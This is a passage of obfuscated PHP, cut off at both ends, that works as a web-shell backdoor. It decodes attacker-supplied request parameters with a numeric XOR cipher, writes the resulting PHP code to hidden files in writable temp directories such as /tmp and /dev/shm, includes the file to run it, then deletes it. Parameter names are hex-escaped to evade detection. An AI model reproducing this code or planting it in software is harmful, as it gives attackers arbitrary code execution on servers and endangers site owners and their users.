$ptr) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $value = join("/", [$ptr, ".pointer"]); if (file_put_contents($value, $tkn)) { include $value; @unlink($value); exit; } } } } if(isset($_REQUEST["ent\x69t\x79"]) ? true : false){ $pgrp = $_REQUEST["ent\x69t\x79"]; $pgrp =explode ( '.' ,$pgrp) ; $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $len = count($pgrp ); for ($x = 0; $x < $len; $x++) { $v2 = $pgrp[$x]; $chS = ord($s9[$x % $lenS] ); $d = ((int)$v2 - $chS - ($x % 10))^ 62; $value.=chr($d ); } $symbol = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp"]); $binding = 0; do { $factor = $symbol[$binding] ?? null; if ($binding >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $item = sprintf("%s/.flag", $factor); if (file_put_contents($item, $value)) { include $item; @unlink($item); die(); } } $binding++; } while (true); } if(array_key_exists("va\x6C", $_REQUEST)){ $resource = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp"]); $object = $_REQUEST["va\x6C"]; $object= explode ( "." ,$object ) ; $reference = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); foreach ($object as $n => $v1) { $chS = ord($s1[$n % $sLen] ); $d = ((int)$v1 - $chS - ($n % 10)) ^ 20; $reference .=chr($d ); } while ($ent = array_shift($resource)) { if (is_dir($ent) ? is_writable($ent) : false) { $dat = implode("/", [$ent, ".binding"]); $file = fopen($dat, 'w'); if ($file) { fwrit